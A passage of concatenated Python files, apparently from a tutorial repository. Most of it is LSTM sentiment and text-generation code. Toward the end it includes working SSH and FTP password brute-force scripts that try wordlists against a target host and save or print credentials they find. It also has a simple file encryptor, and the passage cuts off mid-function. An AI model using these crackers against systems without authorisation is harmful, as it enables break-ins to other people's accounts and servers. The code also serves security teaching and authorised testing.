batch_size=batch_size): + x, y = np.array(x), np.array(y) + feed = {inputs: x, labels: y[:, None], + keep_prob: 1, initial_state: val_state} + batch_acc, val_state = sess.run([accuracy, final_state], feed_dict=feed) + val_acc.append(batch_acc) + print(f"val_acc: {np.mean(val_acc):.3f}") + + iteration += 1 + + saver.save(sess, "chechpoints/sentiment1.ckpt") + +test_acc = [] +with tf.Session(graph=graph) as sess: + saver = tf.train.Saver() + saver.restore(sess, tf.train.latest_checkpoint('checkpoints')) + test_state = sess.run(cell.zero_state(batch_size, tf.float32)) + for ii, (x, y) in enumerate(get_batches(X_test, y_test, batch_size), 1): + feed = {inputs: x, + labels: y[:, None], + keep_prob: 1, + initial_state: test_state} + batch_acc, test_state = sess.run([accuracy, final_state], feed_dict=feed) + test_acc.append(batch_acc) + print("Test accuracy: {:.3f}".format(np.mean(test_acc))) + + + + +def get_batches(x, y, batch_size=100): + + n_batches = len(x) // batch_size + x, y = x[:n_batches*batch_size], y[:n_batches*batch_size] + for i in range(0, len(x), batch_size): + yield x[i: i+batch_size], y[i: i+batch_size] + + + + +import numpy as np +import pandas as pd +import tqdm +from string import punctuation + +punc = set(punctuation) + +df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv") + + +X = np.zeros((len(df), 2), dtype=object) + +for i in tqdm.tqdm(range(len(df)), "Cleaning X"): + target = df['Text'].loc[i] + + # X.append(''.join([ c.lower() for c in target if c not in punc ])) + X[i, 0] = ''.join([ c.lower() for c in target if c not in punc ]) + X[i, 1] = df['Score'].loc[i] + + +pd.DataFrame(X, columns=["Text", "Score"]).to_csv("data/Reviews.csv") + + + + +### Model Architecture hyper parameters +embedding_size = 64 +# sequence_length = 500 +sequence_length = 42 +LSTM_units = 128 + +### Training parameters +batch_size = 128 +epochs = 20 + +### Preprocessing parameters +# words that occur less than n times to be deleted from dataset +N = 10 + +# test size in ratio, train size is 1 - test_size +test_size = 0.15 + + + + +from keras.models import Sequential +from keras.layers import Embedding, LSTM, Dense, Activation, LeakyReLU, Dropout, TimeDistributed +from keras.layers import SpatialDropout1D +from config import LSTM_units + + +def get_model_binary(vocab_size, sequence_length): + embedding_size = 64 + model=Sequential() + model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length)) + model.add(SpatialDropout1D(0.15)) + model.add(LSTM(LSTM_units, recurrent_dropout=0.2)) + model.add(Dropout(0.3)) + model.add(Dense(1, activation='sigmoid')) + model.summary() + return model + +def get_model_5stars(vocab_size, sequence_length, embedding_size, verbose=0): + model=Sequential() + model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length)) + model.add(SpatialDropout1D(0.15)) + model.add(LSTM(LSTM_units, recurrent_dropout=0.2)) + model.add(Dropout(0.3)) + model.add(Dense(1, activation="linear")) + if verbose: + model.summary() + return model + + + + +import numpy as np +import pandas as pd +import tqdm +import pickle +from collections import Counter +from sklearn.model_selection import train_test_split + +from utils import clean_text, tokenize_words +from config import N, test_size + +def load_review_data(): + # df = pd.read_csv("data/Reviews.csv") + df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv") + # preview + print(df.head()) + print(df.tail()) + vocab = [] + # X = np.zeros((len(df)*2, 2), dtype=object) + X = np.zeros((len(df), 2), dtype=object) + # for i in tqdm.tqdm(range(len(df)), "Cleaning X1"): + # target = df['Text'].loc[i] + # score = df['Score'].loc[i] + # X[i, 0] = clean_text(target) + # X[i, 1] = score + # for word in X[i, 0].split(): + # vocab.append(word) + + # k = i+1 + k = 0 + + for i in tqdm.tqdm(range(len(df)), "Cleaning X2"): + target = df['Summary'].loc[i] + score = df['Score'].loc[i] + X[i+k, 0] = clean_text(target) + X[i+k, 1] = score + for word in X[i+k, 0].split(): + vocab.append(word) + + # vocab = set(vocab) + vocab = Counter(vocab) + + # delete words that occur less than 10 times + vocab = { k:v for k, v in vocab.items() if v >= N } + + # word to integer encoder dict + vocab2int = {word: i for i, word in enumerate(vocab, start=1)} + + # pickle int2vocab for testing + print("Pickling vocab2int...") + pickle.dump(vocab2int, open("data/vocab2int.pickle", "wb")) + + # encoded reviews + for i in tqdm.tqdm(range(X.shape[0]), "Tokenizing words"): + X[i, 0] = tokenize_words(str(X[i, 0]), vocab2int) + + lengths = [ len(row) for row in X[:, 0] ] + print("min_length:", min(lengths)) + print("max_length:", max(lengths)) + + X_train, X_test, y_train, y_test = train_test_split(X[:, 0], X[:, 1], test_size=test_size, shuffle=True, random_state=19) + + return X_train, X_test, y_train, y_test, vocab + + + + +import os +# disable keras loggings +import sys +stderr = sys.stderr +sys.stderr = open(os.devnull, 'w') +import keras +sys.stderr = stderr +# to use CPU +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" +os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + + inter_op_parallelism_threads=5, + + allow_soft_placement=True, + + device_count = {'CPU' : 1, + + 'GPU' : 0} + + ) + +from model import get_model_5stars +from utils import clean_text, tokenize_words +from config import embedding_size, sequence_length +from keras.preprocessing.sequence import pad_sequences + +import pickle + +vocab2int = pickle.load(open("data/vocab2int.pickle", "rb")) +model = get_model_5stars(len(vocab2int), sequence_length=sequence_length, embedding_size=embedding_size) + +model.load_weights("results/model_V20_0.38_0.80.h5") + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Food Review evaluator") + parser.add_argument("review", type=str, help="The review of the product in text") + args = parser.parse_args() + + review = tokenize_words(clean_text(args.review), vocab2int) + x = pad_sequences([review], maxlen=sequence_length) + + print(f"{model.predict(x)[0][0]:.2f}/5") + + + + +# to use CPU +# import os +# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +# import tensorflow as tf + +# config = tf.ConfigProto(intra_op_parallelism_threads=5, +# inter_op_parallelism_threads=5, +# allow_soft_placement=True, +# device_count = {'CPU' : 1, +# 'GPU' : 0} + # ) + +import os +import numpy as np +import pandas as pd +from keras.callbacks import ModelCheckpoint +from keras.preprocessing import sequence + +from preprocess import load_review_data +from model import get_model_5stars +from config import sequence_length, embedding_size, batch_size, epochs + +X_train, X_test, y_train, y_test, vocab = load_review_data() + +vocab_size = len(vocab) + +print("Vocab size:", vocab_size) + +X_train = sequence.pad_sequences(X_train, maxlen=sequence_length) +X_test = sequence.pad_sequences(X_test, maxlen=sequence_length) + +print("X_train.shape:", X_train.shape) +print("X_test.shape:", X_test.shape) + +print("y_train.shape:", y_train.shape) +print("y_test.shape:", y_test.shape) + +model = get_model_5stars(vocab_size, sequence_length=sequence_length, embedding_size=embedding_size) +model.load_weights("results/model_V40_0.60_0.67.h5") +model.compile(loss="mse", optimizer="adam", metrics=["accuracy"]) + +if not os.path.isdir("results"): + os.mkdir("results") + +checkpointer = ModelCheckpoint("results/model_V40_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=True, verbose=1) + +model.fit(X_train, y_train, epochs=epochs, + validation_data=(X_test, y_test), + batch_size=batch_size, + callbacks=[checkpointer]) + + + + +import numpy as np +from string import punctuation + +# make it a set to accelerate tests +punc = set(punctuation) + +def clean_text(text): + return ''.join([ c.lower() for c in str(text) if c not in punc ]) + +def tokenize_words(words, vocab2int): + words = words.split() + tokenized_words = np.zeros((len(words),)) + for j in range(len(words)): + try: + tokenized_words[j] = vocab2int[words[j]] + except KeyError: + # didn't add any unk, just ignore + pass + return tokenized_words + + + + +import numpy as np +import pickle +import tqdm +from keras.models import Sequential +from keras.layers import Dense, LSTM, Dropout, Activation +from keras.callbacks import ModelCheckpoint + +seed = "import os" +# output: +# ded of and alice as it go on and the court +# well you wont you wouldncopy thing +# there was not a long to growing anxiously any only a low every cant +# go on a litter which was proves of any only here and the things and the mort meding and the mort and alice was the things said to herself i cant remeran as if i can repeat eften to alice any of great offf its archive of and alice and a cancur as the mo + +char2int = pickle.load(open("python-char2int.pickle", "rb")) +int2char = pickle.load(open("python-int2char.pickle", "rb")) + +sequence_length = 100 +n_unique_chars = len(char2int) + +# building the model +model = Sequential([ + LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), + Dropout(0.3), + LSTM(256), + Dense(n_unique_chars, activation="softmax"), +]) + +model.load_weights("results/python-v2-2.48.h5") + +# generate 400 characters +generated = "" +for i in tqdm.tqdm(range(400), "Generating text"): + # make the input sequence + X = np.zeros((1, sequence_length, n_unique_chars)) + for t, char in enumerate(seed): + X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1 + # predict the next character + predicted = model.predict(X, verbose=0)[0] + # converting the vector to an integer + next_index = np.argmax(predicted) + # converting the integer to a character + next_char = int2char[next_index] + # add the character to results + generated += next_char + # shift seed and the predicted character + seed = seed[1:] + next_char + +print("Generated text:") +print(generated) + + + + +import numpy as np +import os +import pickle +from keras.models import Sequential +from keras.layers import Dense, LSTM, Dropout +from keras.callbacks import ModelCheckpoint + +from utils import get_batches + +# import requests +# content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text +# open("data/wonderland.txt", "w", encoding="utf-8").write(content) + +from string import punctuation +# read the data +# text = open("data/wonderland.txt", encoding="utf-8").read() +text = open("E:\\datasets\\text\\my_python_code.py").read() +# remove caps +text = text.lower() +for c in "!": + text = text.replace(c, "") +# text = text.lower().replace("\n\n", "\n").replace("", "").replace("", "").replace("", "").replace("", "") +# text = text.translate(str.maketrans("", "", punctuation)) +# text = text[:100_000] +n_chars = len(text) +unique_chars = ''.join(sorted(set(text))) +print("unique_chars:", unique_chars) +n_unique_chars = len(unique_chars) +print("Number of characters:", n_chars) +print("Number of unique characters:", n_unique_chars) + +# dictionary that converts characters to integers +char2int = {c: i for i, c in enumerate(unique_chars)} +# dictionary that converts integers to characters +int2char = {i: c for i, c in enumerate(unique_chars)} + +# save these dictionaries for later generation +pickle.dump(char2int, open("python-char2int.pickle", "wb")) +pickle.dump(int2char, open("python-int2char.pickle", "wb")) + +# hyper parameters +sequence_length = 100 +step = 1 +batch_size = 128 +epochs = 1 + +sentences = [] +y_train = [] +for i in range(0, len(text) - sequence_length, step): + sentences.append(text[i: i + sequence_length]) + y_train.append(text[i+sequence_length]) +print("Number of sentences:", len(sentences)) + +X = get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps=step) + +# for i, x in enumerate(X): +# if i == 1: +# break +# print(x[0].shape, x[1].shape) + +# # vectorization +# X = np.zeros((len(sentences), sequence_length, n_unique_chars)) +# y = np.zeros((len(sentences), n_unique_chars)) + +# for i, sentence in enumerate(sentences): +# for t, char in enumerate(sentence): +# X[i, t, char2int[char]] = 1 +# y[i, char2int[y_train[i]]] = 1 +# X = np.array([char2int[c] for c in text]) + +# print("X.shape:", X.shape) +# goal of X is (n_samples, sequence_length, n_chars) +# sentences = np.zeros(()) + + +# print("y.shape:", y.shape) +# building the model +# model = Sequential([ +# LSTM(128, input_shape=(sequence_length, n_unique_chars)), +# Dense(n_unique_chars, activation="softmax"), +# ]) +# building the model +model = Sequential([ + LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), + Dropout(0.3), + LSTM(256), + Dense(n_unique_chars, activation="softmax"), +]) + +model.load_weights("results/python-v2-2.48.h5") + +model.summary() +model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) + +if not os.path.isdir("results"): + os.mkdir("results") + +checkpoint = ModelCheckpoint("results/python-v2-{loss:.2f}.h5", verbose=1) + +# model.fit(X, y, batch_size=batch_size, epochs=epochs, callbacks=[checkpoint]) +model.fit_generator(X, steps_per_epoch=len(sentences) // batch_size, epochs=epochs, callbacks=[checkpoint]) + + + + +import numpy as np + +def get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps): + + chars_per_batch = batch_size * n_steps + n_batches = len(sentences) // chars_per_batch + while True: + for i in range(0, len(sentences), batch_size): + + X = np.zeros((batch_size, sequence_length, n_unique_chars)) + y = np.zeros((batch_size, n_unique_chars)) + + for i, sentence in enumerate(sentences[i: i+batch_size]): + for t, char in enumerate(sentence): + X[i, t, char2int[char]] = 1 + y[i, char2int[y_train[i]]] = 1 + + yield X, y + + + + +from pyarabic.araby import ALPHABETIC_ORDER + +with open("quran.txt", encoding="utf8") as f: + text = f.read() + +unique_chars = set(text) +print("unique chars:", unique_chars) +arabic_alpha = { c for c, order in ALPHABETIC_ORDER.items() } +to_be_removed = unique_chars - arabic_alpha +to_be_removed = to_be_removed - {'.', ' ', ''} +print(to_be_removed) +text = text.replace("", ".") +for char in to_be_removed: + text = text.replace(char, "") +text = text.replace(" ", " ") +text = text.replace(" \n", "") +text = text.replace("\n ", "") +with open("quran_cleaned.txt", "w", encoding="utf8") as f: + print(text, file=f) + + + + +from sklearn.model_selection import GridSearchCV +from keras.wrappers.scikit_learn import KerasClassifier +from utils import read_data, text_to_sequence, get_batches, get_data +from models import rnn_model +from keras.layers import LSTM + +import numpy as np + +text, int2char, char2int = read_data() + +batch_size = 256 +test_size = 0.2 + +n_steps = 200 +n_chars = len(text) +vocab_size = len(set(text)) +print("n_steps:", n_steps) +print("n_chars:", n_chars) +print("vocab_size:", vocab_size) +encoded = np.array(text_to_sequence(text)) +n_train = int(n_chars * (1-test_size)) +X_train = encoded[:n_train] +X_test = encoded[n_train:] + +X, Y = get_data(X_train, batch_size, n_steps, vocab_size=vocab_size+1) + +print(X.shape) +print(Y.shape) + +# cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True +model = KerasClassifier(build_fn=rnn_model, input_dim=n_steps, cell=LSTM, num_layers=2, dropout=0.2, output_dim=vocab_size+1, + batch_normalization=True, bidirectional=True) + + + +params = { + "units": [100, 128, 200, 256, 300] +} + +grid = GridSearchCV(estimator=model, param_grid=params) +grid_result = grid.fit(X, Y) +print(grid_result.best_estimator_) +print(grid_result.best_params_) +print(grid_result.best_score_) + + + + +from keras.models import Sequential +from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed, Bidirectional + +def rnn_model(input_dim, cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True): + model = Sequential() + for i in range(num_layers): + if i == 0: + # first time, specify input_shape + # if bidirectional: + # model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True))) + # else: + model.add(cell(units, input_shape=(None, input_dim), return_sequences=True)) + if batch_normalization: + model.add(BatchNormalization()) + model.add(Dropout(dropout)) + model.add(LeakyReLU(alpha=0.1)) + else: + if i == num_layers - 1: + return_sequences = False + else: + return_sequences = True + if bidirectional: + model.add(Bidirectional(cell(units, return_sequences=return_sequences))) + else: + model.add(cell(units, return_sequences=return_sequences)) + if batch_normalization: + model.add(BatchNormalization()) + model.add(Dropout(dropout)) + model.add(LeakyReLU(alpha=0.1)) + + model.add(Dense(output_dim, activation="softmax")) + + model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"]) + return model + + + + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) +from models import rnn_model +from keras.layers import LSTM +from utils import sequence_to_text, get_data + +import numpy as np +import pickle + +char2int = pickle.load(open("results/char2int.pickle", "rb")) +int2char = { v:k for k, v in char2int.items() } +print(int2char) +n_steps = 500 + +def text_to_sequence(text): + global char2int + return [ char2int[c] for c in text ] + +def pick_top_n(preds, vocab_size, top_n=5): + p = np.squeeze(preds) + p[np.argsort(p)[:-top_n]] = 0 + p = p / np.sum(p) + c = np.random.choice(vocab_size, 1, p=p)[0] + return c + +def logits_to_text(logits): + """ + Turn logits from a neural network into text using the tokenizer + :param logits: Logits from a neural network + :param tokenizer: Keras Tokenizer fit on the labels + :return: String that represents the text of the logits + """ + return int2char[np.argmax(logits, axis=0)] + # return ''.join([int2char[prediction] for prediction in np.argmax(logits, 1)]) + +def generate_code(model, initial_text, n_chars=100): + new_chars = "" + for i in range(n_chars): + x = np.array(text_to_sequence(initial_text)) + x, _ = get_data(x, 64, n_steps, 1) + pred = model.predict(x)[0][0] + c = logits_to_text(pred) + new_chars += c + initial_text += c + return new_chars + + +model = rnn_model(input_dim=n_steps, output_dim=99, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True) + +model.load_weights("results/rnn_3.5") +x = """x = np.array(text_to_sequence(x)) +x, _ = get_data(x, n_steps, 1) +print(x.shape) +print(x.shape) +print(model.predict_proba(x)) +print(model.predict_classes(x)) + +def pick_top_n(preds, vocab_size, top_n=5): + p = np.squeeze(preds) + p[np.argsort(p)[:-top_n]] = 0 + p = p / np.sum(p) + c = np.random.choice(vocab_size, 1, p=p)[0] + return c + +def sample(checkpoint, n_samples, lstm_size, vocab_size, prime="The"): + samples = [c for c in prime] + + with train_chars.tf.Session() as sess: + saver.restore(sess, checkpoint) + new_state = sess.run(model.initial_state) + for c in prime: + x = np.zeros((1, 1)) + x[0,0] = train_chars.char2int[c] + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + # print("Preds:", preds) + c = pick_top_n(preds, len(train_chars.vocab)) + samples.append(train_chars.int2char[c]) + + for i in range(n_samples): + x[0,0] = c + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, len(train_chars.vocab)) + char = train_chars.int2char[c] + samples.append(char) + # if i == n_samples - 1 and char != " " and char != ".": + if i == n_samples - 1 and char != " ": + # while char != "." and char != " ": + while char != " ": + x[0,0] = c + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, len(train_chars.vocab)) + char = train_chars.int2char[c] + samples.append(cha +""" + +# print(x.shape) +# print(x.shape) +# pred = model.predict(x)[0][0] +# print(pred) +# print(logits_to_text(pred)) +# print(model.predict_classes(x)) +print(generate_code(model, x, n_chars=500)) + + + + +from models import rnn_model +from keras.layers import LSTM +from keras.callbacks import ModelCheckpoint +from utils import text_to_sequence, sequence_to_text, get_batches, read_data, get_data, get_data_length + +import numpy as np +import os + +text, int2char, char2int = read_data(load=False) + +batch_size = 256 +test_size = 0.2 + +n_steps = 500 +n_chars = len(text) +vocab_size = len(set(text)) +print("n_steps:", n_steps) +print("n_chars:", n_chars) +print("vocab_size:", vocab_size) +encoded = np.array(text_to_sequence(text)) +n_train = int(n_chars * (1-test_size)) +X_train = encoded[:n_train] +X_test = encoded[n_train:] + +train = get_batches(X_train, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1) +test = get_batches(X_test, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1) + +for i, t in enumerate(train): + if i == 2: + break +print(t[0]) +print(np.array(t[0]).shape) +# print(test.shape) + +# # DIM = 28 + +# model = rnn_model(input_dim=n_steps, output_dim=vocab_size+1, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True) +# model.summary() + +# model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"]) + +# if not os.path.isdir("results"): +# os.mkdir("results") + +# checkpointer = ModelCheckpoint("results/rnn_{val_loss:.1f}", save_best_only=True, verbose=1) + +# train_steps_per_epoch = get_data_length(X_train, n_steps, output_format="one") // batch_size +# test_steps_per_epoch = get_data_length(X_test, n_steps, output_format="one") // batch_size + +# print("train_steps_per_epoch:", train_steps_per_epoch) +# print("test_steps_per_epoch:", test_steps_per_epoch) + +# model.load_weights("results/rnn_3.2") + +# model.fit_generator(train, +# epochs=30, +# validation_data=(test), +# steps_per_epoch=train_steps_per_epoch, +# validation_steps=test_steps_per_epoch, +# callbacks=[checkpointer], +# verbose=1) + +# model.save("results/rnn_final.model") + + + + +import numpy as np +import tqdm +import pickle +from keras.utils import to_categorical + +int2char, char2int = None, None + +def read_data(load=False): + global int2char + global char2int + + with open("E:\\datasets\\text\\my_python_code.py") as f: + text = f.read() + + unique_chars = set(text) + if not load: + int2char = { i: c for i, c in enumerate(unique_chars, start=1) } + char2int = { c: i for i, c in enumerate(unique_chars, start=1) } + pickle.dump(int2char, open("results/int2char.pickle", "wb")) + pickle.dump(char2int, open("results/char2int.pickle", "wb")) + else: + int2char = pickle.load(open("results/int2char.pickle", "rb")) + char2int = pickle.load(open("results/char2int.pickle", "rb")) + return text, int2char, char2int + + +def get_batches(arr, batch_size, n_steps, vocab_size, output_format="many"): + '''Create a generator that returns batches of size + batch_size x n_steps from arr. + + Arguments + --------- + arr: Array you want to make batches from + batch_size: Batch size, the number of sequences per batch + n_steps: Number of sequence steps per batch + ''' + chars_per_batch = batch_size * n_steps + n_batches = len(arr) // chars_per_batch + + arr = arr[:chars_per_batch * n_batches] + + arr = arr.reshape((batch_size, -1)) + if output_format == "many": + while True: + for n in range(0, arr.shape[1], n_steps): + x = arr[:, n: n+n_steps] + y_temp = arr[:, n+1:n+n_steps+1] + y = np.zeros(x.shape, dtype=y_temp.dtype) + y[:, :y_temp.shape[1]] = y_temp + yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1]) + elif output_format == "one": + while True: + # X = np.zeros((arr.shape[1], n_steps)) + # y = np.zeros((arr.shape[1], 1)) + # for i in range(n_samples-n_steps): + # X[i] = np.array([ p.replace(",", "") if isinstance(p, str) else p for p in df.Price.iloc[i: i+n_steps] ]) + # price = df.Price.iloc[i + n_steps] + # y[i] = price.replace(",", "") if isinstance(price, str) else price + for n in range(arr.shape[1] - n_steps-1): + x = arr[:, n: n+n_steps] + y = arr[:, n+n_steps+1] + # print("y.shape:", y.shape) + y = to_categorical(y, num_classes=vocab_size) + # print("y.shape after categorical:", y.shape) + y = np.expand_dims(y, axis=0) + yield x.reshape(1, x.shape[0], x.shape[1]), y + + +def get_data(arr, batch_size, n_steps, vocab_size): + + # n_samples = len(arr) // n_seq + # X = np.zeros((n_seq, n_samples)) + # Y = np.zeros((n_seq, n_samples)) + chars_per_batch = batch_size * n_steps + n_batches = len(arr) // chars_per_batch + + arr = arr[:chars_per_batch * n_batches] + + arr = arr.reshape((batch_size, -1)) + + # for index, i in enumerate(range(0, n_samples*n_seq, n_seq)): + # x = arr[i:i+n_seq] + # y = arr[i+1:i+n_seq+1] + # if len(x) != n_seq or len(y) != n_seq: + # break + # X[:, index] = x + # Y[:, index] = y + X = np.zeros((batch_size, arr.shape[1])) + Y = np.zeros((batch_size, vocab_size)) + for n in range(arr.shape[1] - n_steps-1): + x = arr[:, n: n+n_steps] + y = arr[:, n+n_steps+1] + # print("y.shape:", y.shape) + y = to_categorical(y, num_classes=vocab_size) + # print("y.shape after categorical:", y.shape) + # y = np.expand_dims(y, axis=1) + X[:, n: n+n_steps] = x + Y[n] = y + # yield x.reshape(1, x.shape[0], x.shape[1]), y + return np.expand_dims(X, axis=1), Y + + # return n_samples + # return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0]) + +def get_data_length(arr, n_seq, output_format="many"): + if output_format == "many": + return len(arr) // n_seq + elif output_format == "one": + return len(arr) - n_seq + + +def text_to_sequence(text): + global char2int + return [ char2int[c] for c in text ] + +def sequence_to_text(sequence): + global int2char + return ''.join([ int2char[i] for i in sequence ]) + + + + +import json +import os +import glob + +CUR_DIR = os.getcwd() +text = "" + +# for filename in os.listdir(os.path.join(CUR_DIR, "data", "json")): +surat = [ f"surah_{i}.json" for i in range(1, 115) ] +for filename in surat: + filename = os.path.join(CUR_DIR, "data", "json", filename) + file = json.load(open(filename, encoding="utf8")) + content = file['verse'] + for verse_id, ayah in content.items(): + text += f"{ayah}." + +n_ayah = len(text.split(".")) +n_words = len(text.split(" ")) +n_chars = len(text) + +print(f"Number of ayat: {n_ayah}, Number of words: {n_words}, Number of chars: {n_chars}") + +with open("quran.txt", "w", encoding="utf8") as quran_file: + print(text, file=quran_file) + + + + +import paramiko +import socket +import time +from colorama import init, Fore + +# initialize colorama +init() + +GREEN = Fore.GREEN +RED = Fore.RED +RESET = Fore.RESET +BLUE = Fore.BLUE + + +def is_ssh_open(hostname, username, password): + # initialize SSH client + client = paramiko.SSHClient() + # add to know hosts + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + try: + client.connect(hostname=hostname, username=username, password=password, timeout=3) + except socket.timeout: + # this is when host is unreachable + print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}") + return False + except paramiko.AuthenticationException: + print(f"[!] Invalid credentials for {username}:{password}") + return False + except paramiko.SSHException: + print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") + # sleep for a minute + time.sleep(60) + return is_ssh_open(hostname, username, password) + else: + # connection was established successfully + print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") + return True + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.") + parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.") + parser.add_argument("-P", "--passlist", help="File that contain password list in each line.") + parser.add_argument("-u", "--user", help="Host username.") + + # parse passed arguments + args = parser.parse_args() + host = args.host + passlist = args.passlist + user = args.user + # read the file + passlist = open(passlist).read().splitlines() + # brute-force + for password in passlist: + if is_ssh_open(host, user, password): + # if combo is valid, save it to a file + open("credentials.txt", "w").write(f"{user}{host}:{password}") + break + + + + +from cryptography.fernet import Fernet +import os + + +def write_key(): + """ + Generates a key and save it into a file + """ + key = Fernet.generate_key() + with open("key.key", "wb") as key_file: + key_file.write(key) + +def load_key(): + """ + Loads the key from the current directory named key.key + """ + return open("key.key", "rb").read() + + +def encrypt(filename, key): + """ + Given a filename (str) and key (bytes), it encrypts the file and write it + """ + f = Fernet(key) + with open(filename, "rb") as file: + # read all file data + file_data = file.read() + # encrypt data + encrypted_data = f.encrypt(file_data) + # write the encrypted file + with open(filename, "wb") as file: + file.write(encrypted_data) + + +def decrypt(filename, key): + """ + Given a filename (str) and key (bytes), it decrypts the file and write it + """ + f = Fernet(key) + with open(filename, "rb") as file: + # read the encrypted data + encrypted_data = file.read() + # decrypt data + decrypted_data = f.decrypt(encrypted_data) + # write the original file + with open(filename, "wb") as file: + file.write(decrypted_data) + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Simple File Encryptor Script") + parser.add_argument("file", help="File to encrypt/decrypt") + parser.add_argument("-g", "--generate-key", dest="generate_key", action="https://github.com/store_true", + help="Whether to generate a new key or use existing") + parser.add_argument("-e", "--encrypt", action="https://github.com/store_true", + help="Whether to encrypt the file, only -e or -d can be specified.") + parser.add_argument("-d", "--decrypt", action="https://github.com/store_true", + help="Whether to decrypt the file, only -e or -d can be specified.") + + args = parser.parse_args() + file = args.file + generate_key = args.generate_key + + if generate_key: + write_key() + # load the key + key = load_key() + + encrypt_ = args.encrypt + decrypt_ = args.decrypt + + if encrypt_ and decrypt_: + raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") + elif encrypt_: + encrypt(file, key) + elif decrypt_: + decrypt(file, key) + else: + raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") + + + + +import ftplib +from threading import Thread +import queue +from colorama import Fore, init # for fancy colors, nothing else + +# init the console for colors (for Windows) +# init() +# initialize the queue +q = queue.Queue() + +# port of FTP, aka 21 +port = 21 + +def connect_ftp(): + global q + while True: + # get the password from the queue + password = q.get() + # initialize the FTP server object + server = ftplib.FTP() + print("[!] Trying", password) + try: + # tries to connect to FTP server with a timeout of 5 + server.connect(host, port, timeout=5) + # login using the credentials (user & password) + server.login(user, password) + except ftplib.error_perm: + # login failed, wrong credentials + pass + else: + # correct credentials + print(f"{Fore.GREEN}[+] Found credentials: ") + print(f"\tHost: {host}") + print(f"\tUser: {user}") + print(f"\tPassword: {password}{Fore.RESET}") + # we found the password, let's clear the queue + with q.mutex: + q.queue.clear() + q.all_tasks_done.notify_all() + q.unfinished_tasks = 0 + finally: + # notify the queue that the task is completed for this password + q.task_done() + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="FTP Cracker made with Python") + parser.add_argument("host", help="The target host or IP address of the FTP server") + parser.add_argument("-u", "--user", help="The username of target FTP server") + parser.add_argument("-p", "--passlist", help="The path of the pass list") + parser.add_argument("-t", "--threads", help="Number of workers to spawn for logining, default is 30", default=30) + + args = parser.parse_args() + # hostname or IP address of the FTP server + host = args.host + # username of the FTP server, root as default for linux + user = args.user + passlist = args.passlist + # number of threads to spawn + n_threads = args.threads + # read the wordlist of passwords + passwords = open(passlist).read().split("\n") + + print("[+] Passwords to try:", len(passwords)) + + # put all passwords to the queue + for password in passwords: + q.put(password) + + # create n_threads that runs that function + for t in range(n_threads): + thread = Thread(target=connect_ftp) + # will end when the main thread end + thread.daemon = True + thread.start() + # wait for the queue to be empty + q.join() + + + + +import ftplib +from colorama import Fore, init # for fancy colors, nothing else + +# init the console for colors (for Windows) +init() +# hostname or IP address of the FTP server +host = "192.168.1.113" +# username of the FTP server, root as default for linux +user = "test" +# port of FTP, aka 21 +port = 21 + +def is_correct(password): + # initialize the FTP server object + server = ftplib.FTP() + print(f"[!] Trying", password) + try: + # tries to connect to FTP server with a timeout of 5 + server.connect(host, port, timeout=5) + # login using the credentials (user & password) + server.login(user, password) + except ftplib.error_perm: + 